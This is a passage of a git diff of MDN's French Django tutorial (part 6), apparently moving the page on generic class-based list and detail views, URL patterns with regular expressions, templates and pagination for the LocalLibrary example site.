  2. Ajouter un attribut queryset dans votre vue personnalisée basée sur classe, en spécifiant un order_by().
    3. +
  3. Ajouter une méthode get_queryset à votre vue personnalisée basée sur classe, et préciser de même un order_by().
    4. +
+ +

Si vous décidez d'ajouter une class Meta au modèle Author (solution peut-être pas aussi flexible que personnalier la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre :

+ +
class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+
+    class Meta:
+        ordering = ['last_name']
+ +

Bien sûr le champ n'est pas forcément last_name : ce pourrait être un autre champ.

+ +

Dernier point, mais non le moindre : vous devriez trier les données par un attribut/colonne qui a réellement un index (unique ou pas) dans votre base de données, afin d'éviter des problèmes de performance. Bien sûr ce n'est pas requis ici (ce serait un peu exagéré avec si peu de livres et d'utilisateurs), mais il vaut mieux avoir cela à l'esprit pour de futurs projets.

+
+ +

À quoi cela ressemble-t-il ?

+ +

À ce point, nous devrions avoir créé tout ce qu'il faut pour afficher à la fois la liste des livres et les pages de détail pour chaque livre. Lancez le serveur (python3 manage.py runserver) et ouvrez votre navigateur à l'adresse http://127.0.0.1:8000/.

+ +
+

Attention : Ne cliquez pas sur les liens vers le détail des auteurs : vous allez les créer lors du prochain défi !

+
+ +

Cliquez sur le lien Tous les livres pour afficher la liste des livres.

+ +

Book List Page

+ +

Ensuite cliquez sur un lien dirigeant vers l'un de vos livres. Si tout est réglé correctement, vous allez voir quelque chose de semblable à la capture d'écran suivante :

+ +

Book Detail Page

+ +

Pagination

+ +

Si vous avez seulement quelques enregistrements, notre page de liste de livres aura une bonne apparence. Mais si vous avez des dizaines ou des centaines d'enregistrements, la page va progressivement devenir plus longue à charger (et aura beaucoup trop de contenu pour naviguer de manière raisonnable). La solution à ce problème est d'ajouter une pagination à vos vues listes, en réduisant le nombre d'éléments affichés sur chaque page.

+ +

Django a d'excellents outils pour la pagination. Mieux encore, ces outils sont intégrés dans les vues listes génériques basées sur classes, aussi n'avez-vous pas grand chose à faire pour les activer !

+ +

Vues

+ +

Ouvrez catalog/views.py, et ajoutez la ligne paginate_by, en gras ci-dessous.

+ +
class BookListView(generic.ListView):
+    model = Book
+    paginate_by = 10
+ +

Avec cet ajout, dès que vous aurez plus de 10 enregistrements, la vue démarrera la pagination des données qu'elle envoie au template. Les différentes pages sont obtenues en utilisant le paramètre GET : pour obtenir la page 2, vous utiliseriez l'URL /catalog/books/?page=2.

+ +

Templates

+ +

Maintenant que les données sont paginées, nous avons besoin d'ajouter un outil au template pour parcourir l'ensemble des résultats. Et parce que nous voudrons sûrement faire cela pour toutes les listes vues, nous allons le faire d'une manière qui puisse être ajoutée au template de base.

+ +

Ouvrez /locallibrary/catalog/templates/base_generic.html, et copiez-y, sous notre bloc de contenu, le bloc de pagination suivant (mis en gras ci-dessous). Le code commence par vérifier si une pagination est activée sur la page courante. Si oui, il ajoute les liens "précédent" et "suivant" appropriés (et le numéro de la page courante).

+ +
{% block content %}{% endblock %}
+
+  {% block pagination %}
+    {% if is_paginated %}
+        <div class="pagination">
+            <span class="page-links">
+                {% if page_obj.has_previous %}
+                    <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a>
+                {% endif %}
+                <span class="page-current">
+                    Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.
+                </span>
+                {% if page_obj.has_next %}
+                    <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a>
+                {% endif %}
+            </span>
+        </div>
+    {% endif %}
+  {% endblock %} 
+ +

Le page_obj est un objet Paginator qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc.

+ +

Nous utilisons \{{ request.path }} pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer.

+ +

C'est tout !

+ +

À quoi cela ressemble-t-il ?

+ +

La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne paginate_by dans votre  fichier catalog/views.py. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en paginate_by = 2.

+ +

Les liens de pagination sont affichés en bas de la page, avec les liens suivant/précédent affichés selon la page sur laquelle nous nous trouvons.

+ +

Book List Page - paginated

+ +

Mettez-vous vous-même au défi !

+ +

Le challenge dans cet article consiste à créer les vues détail et liste nécessaires à l'achèvement du projet. Ces pages devront être accessibles aux URLs suivantes :

+ +
    +
  • catalog/authors/ — La liste de tous les auteurs.
    • +
  • catalog/author/<id> — La vue détail pour un auteur précis, avec un champ clé-primaire appelé <id>.
    • +
+ +

Le code requis pour le mappeur d'URL et les vues sera virtuellement identique aux vues liste et détail du modèle Book, créées ci-dessus. Les templates seront différents, mais auront un comportement semblable.

+ +
+

Note:

+ +
    +
  • Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien All authors dans le template de base. Suivez la même procédure que celle adoptée quand nous avons mis à jour le lien All books.
    • +
  • Une fois créé le mappeur d'URL pour la page de détails sur l'auteur, vous devrez aussi mettre à jour le template de la vue détail d'un livre (/locallibrary/catalog/templates/catalog/book_detail.html), de sorte que le lien vers l'auteur pointe vers votre nouvelle page de détails sur l'auteur (au lieu d'être une URL vide). La ligne va avoir comme changement la balise montrée en gras ci-dessous. + 
    <p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p>
+
    +
    • +
+
+ +

Quand vous aurez fini, vos pages vont ressembler aux captures d'écran suivantes.

+ +

Author List Page

+ +
    +
+ +

Author Detail Page

+ +
    +
+ +

Résumé

+ +

Félicitations ! Notre application basique pour bibliothèque est maintenant terminée.

+ +

Dans cet article, nous avons appris comment utiliser les vues génériques basées sur classe "liste" et "détail", et nous les avons utilisées pour créer des pages permettant de voir nos livres et nos auteurs. Au passage nous avons appris la recherche d'un pattern d'URL grâce aux expressions régulières, et la manière de passer des données depuis les URLs vers les vues. Nous avons aussi appris quelques trucs supplémentaires pour mieux utiliser les templates. Et en dernier nous vous avons montré comment paginer les vues liste, de façon à pouvoir gérer des listes même avec beaucoup d'enregistrements.

+ +

Dans les articles que nous vous présenterons ensuite, nous améliorerons cette application pour intégrer des comptes utilisateurs, et nous allons donc vous montrer comment gérer l'authentification des utilisateurs, les permissions, les sessions et les formulaires.

+ +

Voyez aussi

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}

+ +

In this module

+ + diff --git a/files/fr/learn/server-side/django/vues_generiques/index.html b/files/fr/learn/server-side/django/vues_generiques/index.html deleted file mode 100644 index f2d48431fc..0000000000 --- a/files/fr/learn/server-side/django/vues_generiques/index.html +++ /dev/null @@ -1,634 +0,0 @@ ---- -title: 'Tutoriel Django - 6e partie : Vues génériques pour les listes et les détails' -slug: Learn/Server-side/Django/Vues_generiques -tags: - - Beginner - - Learn - - Tutorial - - django - - django templates - - django views -translation_of: Learn/Server-side/Django/Generic_views ---- -
- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}
- -
Ce tutoriel améliore notre site web LocalLibrary, en ajoutant des pages de listes et de détails pour les livres et les auteurs. Ici nous allons apprendre les vues génériques basées sur des classes, et montrer comment elles peuvent réduire le volume de code à écrire pour les cas ordinaires. Nous allons aussi entrer plus en détail dans la gestion des URLs, en montrant comment réaliser des recherches de patterns simples.
- - - - - - - - - - - - -
Prérequis: -

Avoir terminé tous les tutoriels précédents, y compris Django Tutorial Part 5: Creating our home page.

-
Objectif: -

Comprendre où et comment utiliser des vues génériques basées sur classes, et comment extraire des patterns dans des URLs pour transmettre les informations aux vues.

-
- -

Aperçu

- -

Dans ce tutoriel, nous allons terminer la première version du site web LocalLibrary, en ajoutant des pages de listes et de détails pour les livres et les auteurs (ou pour être plus précis, nous allons vous montrer comment implémenter les pages concernant les livres, et vous faire créer vous-mêmes les pages concernant les auteurs !).

- -

Le processus est semblable à celui utilisé pour créer la page d'index, processus que nous avons montré dans le tutoriel précédent. Nous allons avoir de nouveau besoin de créer des mappages d'URLs, des vues et des templates. La principale différence est que, pour la page des détails, nous allons avoir le défi supplémentaire d'extraire de l'URL des informations que nous transmettrons à la vue. Pour ces pages, nous allons montrer comment utiliser un type de vue complètement différent : des vues "listes" et "détails" génériques et basées sur des classes. Cela peut réduire significativement la somme de code nécessaire, les rendant ainsi faciles à écrire et à maintenir.

- -

La partie finale de ce tutoriel montrera comment paginer vos données quand vous utilisez des vues "listes" génériques basées sur des classes.

- -

Page de liste de livres

- -

La page de liste des livres va afficher une liste de tous les enregistrements de livres disponibles, en utilisant l'URL: catalog/books/. La page va afficher le titre et l'auteur pour chaque enregistrement, et le titre sera un hyperlien vers la page de détails associée. La page aura la même structure et la même zone de navigation que les autres pages du site, et nous pouvons dès lors étendre le template de base (base_generic.html) que nous avons créé dans le tutoriel précédent.

- -

Mappage d'URL

- -

Ouvrez le fichier /catalog/urls.py, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction path() définit un pattern destiné à identifier l'URL ('books/'), une fonction vue qui sera appelée si l'URL correspond (views.BookListView.as_view()), et un nom pour ce mappage particulier.

- -
urlpatterns = [
-    path('', views.index, name='index'),
-    path('books/', views.BookListView.as_view(), name='books'),
-]
- -

Comme discuté dans le tutoriel précédent, l'URL doit auparavant avoir identifié la chaîne /catalog, aussi la vue ne sera réellement appelée que pour l'URL complète: /catalog/books/.

- -

La fonction vue a un format différent de celui que nous avions jusqu'ici : c'est parce que cette vue sera en réalité implémentée sous forme de classe. Nous allons la faire hériter d'une fonction vue générique existante, qui fait la plus grande partie de ce que nous souhaitons réaliser avec cette vue, plutôt que d'écrire notre propre fonction à partir de zéro.

- -

En Django, on accède à la fonction appropriée d'une vue basée sur classe en appelant sa méthode de classe as_view(). Cela a pour effet de créer une instance de la classe, et de s'assurer que les bonnes méthodes seront appelées lors de requêtes HTTP.

- -

Vue (basée sur classe)

- -

Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait render() pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (ListView), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance.

- -

Ouvrez le fichier catalog/views.py, et copiez-y le code suivant à la fin :

- -
from django.views import generic
-
-class BookListView(generic.ListView):
-    model = Book
- -

C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (Book), et ensuite rendre un template situé à l'adresse /locallibrary/catalog/templates/catalog/book_list.html (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée object_list OU book_list (c'est-à-dire l'appellation générique "the_model_name_list").

- -
-

Note : Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans /application_name/the_model_name_list.html (catalog/book_list.html dans ce cas) à l'intérieur du répertoire /application_name/templates/ (/catalog/templates/).

-
- -

Vous pouvez ajouter des attributs pour changer le comportement par défaut utilisé ci-dessus. Par exemple, vous pouvez spécifier un autre fichier de template si vous souhaitez avoir plusieurs vues qui utilisent ce même modèle, ou bien vous pourriez vouloir utiliser un autre nom de variable de template, si book_list n'est pas intuitif par rapport à l'usage que vous faites de vos templates. Probablement, le changement le plus utile est de changer/filtrer le sous-ensemble des résultats retournés : au lieu de lister tous les livres, vous pourriez lister les 5 premiers livres lus par d'autres utilisateurs.

- -
class BookListView(generic.ListView):
-    model = Book
-    context_object_name = 'my_book_list'   # your own name for the list as a template variable
-    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
-    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location
- -

Ré-écrire des méthodes dans des vues basées sur classes

- -

Bien que nous n'ayons pas besoin de le faire ici, sachez qu'il vous est possible de ré-écrire des méthodes de classe.

- -

Par exemple, nous pouvons ré-écrire la méthode get_queryset() pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut queryset, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) :

- -
class BookListView(generic.ListView):
-    model = Book
-
-    def get_queryset(self):
-        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
-
- -

Nous pourrions aussi réécrire get_context_data(), afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "some_data" au contexte (elle sera alors accessible comme variable de template).

- -
class BookListView(generic.ListView):
-    model = Book
-
-    def get_context_data(self, **kwargs):
-        # Call the base implementation first to get the context
-        context = super(BookListView, self).get_context_data(**kwargs)
-        # Create any data and add it to the context
-        context['some_data'] = 'This is just some data'
-        return context
- -

Quand vous faites cela, il est important de suivre la procédure indiquée ci-dessus :

- -
    -
  • D'abord récupérer auprès de la superclasse le contexte existant.
    • -
  • Ensuite ajouter la nouvelle information de contexte.
    • -
  • Enfin retourner le nouveau contexte (mis à jour).
    • -
- -
-

Note : Voyez dans Built-in class-based generic views (doc de Django) pour avoir beaucoup plus d'exemples de ce que vous pouvez faire.

-
- -

Créer le template pour la Vue Liste

- -

Créez le fichier HTML /locallibrary/catalog/templates/catalog/book_list.html, et copiez-y le texte ci-dessous. Comme nous l'avons dit ci-dessus, c'est ce fichier que va chercher par défaut la classe générique "liste" basée sur une vue (dans le cas d'un modèle appelé Book, dans une application appelée catalog).

- -

Les templates pour vues génériques sont exactement comme les autres templates (cependant, bien sûr, le contexte et les informations envoyées au templates peuvent être différents). Comme pour notre template index, nous étendons notre template de base à la première ligne, et remplaçons ensuite le bloc appelé content.

- -
{% extends "base_generic.html" %}
-
-{% block content %}
-  <h1>Book List</h1>
-  {% if book_list %}
-  <ul>
-    {% for book in book_list %}
-      <li>
-        <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
-      </li>
-    {% endfor %}
-  </ul>
-  {% else %}
-    <p>There are no books in the library.</p>
-  {% endif %} 
-{% endblock %}
- -

La vue envoie le contexte (liste de livres), en utilisant par défaut les alias object_list et book_list ; l'un et l'autre fonctionnent.

- -

Exécution conditionnelle

- -

Nous utilisons les balises de templates if, else, et endif pour vérifier que la book_list a été définie et n'est pas vide. Si book_list est vide, alors la condition else affiche un texte expliquant qu'il n'y a pas de livres à lister. Si book_list n'est pas vide, nous parcourons la liste de livres.

- -
{% if book_list %}
-  <!-- code here to list the books -->
-{% else %}
-  <p>There are no books in the library.</p>
-{% endif %}
-
- -

La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template elif (par exemple {% elif var2 %}). Pour plus d'information sur les opérateurs conditionnels, voyez ici :  if, ifequal/ifnotequal, et ifchanged dans Built-in template tags and filters (Django Docs).

- -

Boucles for

- -

Le template utilise les balises de template for et endfor pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template book avec l'information concernant l'élément courant de la liste.

- -
{% for book in book_list %}
-  <li> <!-- code here get information from each book item --> </li>
-{% endfor %}
-
- -

Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable forloop.last pour réaliser une action conditionnelle au dernier passage de la boucle.

- -

Accéder aux variables

- -

Le code à l'intérieur de la boucle crée un élément de liste pour chaque livre, élément qui montre à la fois le titre (comme lien vers la vue détail, encore à créer), et l'auteur.

- -
<a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
-
- -

Nous accédont aux champs de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple book.title et book.author), où le texte suivant l'item book est le nom du champ (comme défini dans le modèle).

- -

Nous pouvons aussi appeler des fonctions contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons Book.get_absolute_url() pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !).

- -
-

Note : Il nous faut être quelque peu attentif aux "effets de bord" quand nous appelons des fonctions dans nos templates. Ici nous récupérons simplement une URL à afficher, mais une fonction peut faire à peu près n'importe quoi — nous ne voudrions pas effacer notre base de données (par exemple) juste parce que nous avons affiché notre template !

-
- -

Mettre à jour le template de base

- -

Ouvrez le template de base (/locallibrary/catalog/templates/base_generic.html) et insérez {% url 'books' %} dans le lien URL pour All books, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books").

- -
<li><a href="{% url 'index' %}">Home</a></li>
-<li><a href="{% url 'books' %}">All books</a></li>
-<li><a href="">All authors</a></li>
- -

À quoi cela ressemble-t-il ?

- -

Vous ne pouvez pas encore construire la liste des livres, car il nous manque toujours une dépendance, à savoir le mappage d'URL pour la page de détail de chaque livre, qui est requise pour créer des hyperliens vers chaque livre. Nous allons montrer les vues liste et détail après la prochaine section.

- -

Page de détail d'un livre

- -

La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL catalog/book/<id> (où <id> est la clé primaire pour le livre). En plus des champs définis dans le modèle Book (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (BookInstances), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible.

- -

Mappage d'URL

- -

Ouvrez /catalog/urls.py et ajoutez-y le mappeur d'URL 'book-detail' indiqué en gras ci-dessous. Cette fonction path() définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom.

- -
urlpatterns = [
-    path('', views.index, name='index'),
-    path('books/', views.BookListView.as_view(), name='books'),
-    path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'),
-]
- -

Pour le chemin book-detail, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, <something>  va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une spécification de convertisseur, qui définit le type de la donnée (int, str, slug, uuid, path).

- -

Dans ce cas, nous utilisons '<int:pk>' pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé pk (abbréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book.

- -
-

Note : Comme nous l'avons dit précédemment, notre URL correcte est en réalité catalog/book/<digits> (comme nous sommes dans l'application catalog, /catalog/ est supposé).

-
- -
-

Important : La vue générique basée sur classe "détail" s'attend à recevoir un paramètre appelé pk. Si vous écrivez votre propre fonction, vous pouvez utiliser le nom que vous voulez pour votre paramètre, ou même passer l'information avec un argument non nommé.

-
- -

Introduction aux chemins et expressions régulières avancés

- -
-

Note : Vous n'aurez pas besoin de cette section pour achever le tutoriel ! Nous en parlons parce que nous savons que cette option vous sera probablement utile dans votre avenir centré sur Django.

-
- -

La recherche de pattern fournie par path() est simple et utile pour les cas (très communs) où vous voulez seulement capturer n'importe quelle chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode re_path().

- -

Cette méthode est utilisée exactement comme path(), sauf qu'elle vous permet de spécifier un pattern utilisant une Expression régulière. Par exemple, le chemin précédent pourrait avoir été écrit ainsi :

- -
re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),
-
- -

Les expressions régulières sont un outil de recherche de pattern extrêmement puissant. Ils sont, il est vrai, assez peu intuitifs et peuvent se révéler intimidants pour les débutants. Ci-dessous vous trouverez une introduction très courte !

- -

La première chose à savoir est que les expressions régulières devraient ordinairement être déclarées en utilisant la syntaxe "chaîne littérale brute" (c'est-à-dire encadrées ainsi : r'<votre texte d'expression régulière va ici>').

- -

L'essentiel de ce que vous aurez besoin de savoir pour déclarer une recherche de pattern est contenu dans le tableau qui suit :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SymbolMeaning
^Recherche le début du texte.
$Recherche la fin du texte.
\dRecherche un digit (0, 1, 2, ... 9).
\wRecherche un caractère de mot, c'est-à-dire tout caractère dans l'alphabet (majuscule ou minuscule), un digit ou un underscore (_).
+Recherche au moins une occurence du caractère précédent. Par exemple, pour rechercher au moins 1 digit, vous utiliseriez \d+. Pour rechercher au moins 1 caractère "a", vous utiliseriez a+.
*Recherche zéro ou plus occurrence(s) du caractère précédent. Par exemple, pour rechercher "rien ou un mot", vous pourriez utiliser \w*.
( )Capture la partie du pattern contenue dans les parenthèses. Toutes les valeurs capturées seront passées à la vue en tant que paramètres non nommés (si plusieurs patterns sont capturés, les paramètres associés seront fournis dans l'ordre de déclaration des captures).
(?P<name>...)Capture le pattern (indiqué par …) en tant que variable nommée (dans ce cas "name"). Les valeurs capturées sont passées à la vue avec le nom spécifié. Votre vue doit par conséquent déclarer un argument avec le même nom !
[  ]Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot.
- -

La plupart des autres caractères peuvent être pris littéralement.

- -

Considérons quelques exemples réels de patterns :

- - - - - - - - - - - - - - - - - - - - - - -
PatternDescription
r'^book/(?P<pk>\d+)$' -

C'est là l'expression régulière utilisée dans notre mappeur d'URL. Elle recherche une chaîne qui a book/ au commencement de la ligne (^book/), ensuite a au moins 1 digit (\d+), et enfin se termine (avec aucun caractère non-digit avant la fin du marqueur de ligne).

- -

Elle capture aussi tous les digits (?P<pk>\d+) et les passe à la vue dans un paramètre appelé 'pk'. Les valeurs capturées sont toujours passées comme des chaînes !

- -

Par exemple, cette expression régulière trouverait une correspondance dans l'URL book/1234, et enverrait alors une variable pk='1234' à la vue.

-
r'^book/(\d+)$' -

Ceci rechercher la même URL que dans le cas précédent. L'information capturée serait envoyée à la vue en tant qu'argument non nommé.

-
r'^book/(?P<stub>[-\w]+)$' -

Ceci recherche une chaîne qui a book/ au commencement de la ligne (^book/), ensuite a au moins 1 caractère étant soit un '-', soit un caractère de mot ([-\w]+), puis la fin. Ce pattern capture aussi cet ensemble de caractères et le passe à la vue en tant que paramètre nommé 'stub'.

- -

Ceci est un pattern relativement typique pour un "stub". Les stubs sont des clés primaires basées sur des mots (plus agréables que des IDs) pour retrouver des données. Vous pouvez utiliser un stub si vous voulez que votre URL de livre contienne plus d'informations. Par exemple /catalog/book/the-secret-garden, plutôt que /catalog/book/33.

-
- -

Vous pouvez capturer plusieurs patterns en une seule fois, et donc encoder beaucoup d'informations différentes dans l'URL.

- -
-

Note : Comme défi, essayez d'envisager comment vous devriez encoder une URL pour lister tous les livres sortis en telle année, à tel mois et à tel jour, et l'expression régulière qu'il faudrait utiliser pour la rechercher.

-
- -

Passer des options supplémentaires dans vos mappages d'URL

- -

Une fonctionnalité que nous n'avons pas utilisée ici, mais que vous pourriez trouver valable, c'est que vous pouvez passer à la vue des options supplémentaires. Les options sont déclarées comme un dictionnaire que vous passez comme troisième argument (non nommé) à la fonction path(). Cette approche peut être utile si vous voulez utiliser la même vue pour des ressources multiples, et passer des données pour configurer son comportement dans chaque cas (ci-dessous nous fournissons un template différent dans chaque cas).

- -
path('url/', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'),
-path('anotherurl/', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'),
-
- -
-

Note : Les options supplémentaires aussi bien que les patterns capturés sont passés à la vue comme arguments nommés. Si vous utilisez le même nom pour un pattern capturé et une option supplémentaire, alors seul la value du pattern capturé sera envoyé à la vue (la valeur spécifiée dans l'option supplémentaire sera abandonnée).

-
- -

Vue (basée sur classe)

- -

Ouvrez catalog/views.py, et copiez-y le code suivant à la fin du fichier :

- -
class BookDetailView(generic.DetailView):
-    model = Book
- -

C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé /locallibrary/catalog/templates/catalog/book_detail.html, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement Book spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée object OU book (c'est-à-dire, de manière générique, "le_nom_du_modèle").

- -

Si vous en avez besoin, vous pouvez changer le template utilisé et le nom de l'objet-contexte utilisé pour désigner le livre dans le template. Vous pouvez aussi renommer les méthodes pour, par exemple, ajouter des informations supplémentaires au contexte.

- -

Que se passe-t-il si l'enregistrement n'existe pas ?

- -

Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception Http404 — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin.

- -

Juste pour vous donner une idée de la manière dont tout cela fonctionne, le morceau de code ci-dessous montre comment vous implémenteriez cette vue comme une fonction si vous n'utilisiez pas la vue générique basée sur classe "détail".

- -
def book_detail_view(request, primary_key):
-    try:
-        book = Book.objects.get(pk=primary_key)
-    except Book.DoesNotExist:
-        raise Http404('Book does not exist')
-
-    return render(request, 'catalog/book_detail.html', context={'book': book})
-
- -

La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception Http404 pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler render() avec le nom du template et les données concernant le livre dans le paramètre context (comme un dictionnaire).

- -

Une alternative consiste à utiliser la fonction get_object_or_404() comme un raccourci pour lever une exception Http404 si l'enregistrement n'existe pas.

- -
from django.shortcuts import get_object_or_404
-
-def book_detail_view(request, primary_key):
-    book = get_object_or_404(Book, pk=primary_key)
-    return render(request, 'catalog/book_detail.html', context={'book': book})
- -

Créerle template de la Vue Détail

- -

Créez le fichier HTML /locallibrary/catalog/templates/catalog/book_detail.html, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe detail (pour un modèle appelé Book dans une application appelée catalog).

- -
{% extends "base_generic.html" %}
-
-{% block content %}
-  <h1>Title: \{{ book.title }}</h1>
-
-  <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined -->
-  <p><strong>Summary:</strong> \{{ book.summary }}</p>
-  <p><strong>ISBN:</strong> \{{ book.isbn }}</p>
-  <p><strong>Language:</strong> \{{ book.language }}</p>
-  <p><strong>Genre:</strong> \{{ book.genre.all|join:", " }}</p>
-
-  <div style="margin-left:20px;margin-top:20px">
-    <h4>Copies</h4>
-
-    {% for copy in book.bookinstance_set.all %}
-      <hr>
-      <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}">
-        \{{ copy.get_status_display }}
-      </p>
-      {% if copy.status != 'a' %}
-        <p><strong>Due to be returned:</strong> \{{ copy.due_back }}</p>
-      {% endif %}
-      <p><strong>Imprint:</strong> \{{ copy.imprint }}</p>
-      <p class="text-muted"><strong>Id:</strong> \{{ copy.id }}</p>
-    {% endfor %}
-  </div>
-{% endblock %}
- -
    -
- -
-

Le lien vers l'auteur dans le template ci-dessus est vide, parce que nous n'avons pas encore crée de page détail pour un auteur. Une fois que cette page sera créée, vous pourrez remplacer l'URL par ceci :

- -
<a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a>
-
-
- -

Bien qu'en un peu plus grand, presque tout ce qu'il y a dans ce template a été décrit précédemment :

- -
    -
  • Nous étendons notre template de base et récrivons le block "content".
    • -
  • Nous utilisons une procédure conditionnelle pour déterminer s'il faut ou non afficher tel contenu spécifique.
    • -
  • Nous utilisons une boucle for pour boucler sur des listes d'objets.
    • -
  • Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique detail, le contexte est nommé book ; nous pourrions aussi utiliser "object").
    • -
- -

Une chose intéressante que nous n'avons pas encore vue, c'est la fonction book.bookinstance_set.all(). Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements BookInstance associés à un Book particulier.

- -
{% for copy in book.bookinstance_set.all %}
-  <!-- code to iterate across each copy/instance of a book -->
-{% endfor %}
- -

Cette méthode est requise parce que vous déclarez un champ ForeignKey (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la ForeignKey, suivi de _set (ainsi la fonction créée dans Book est bookinstance_set()).

- -
-

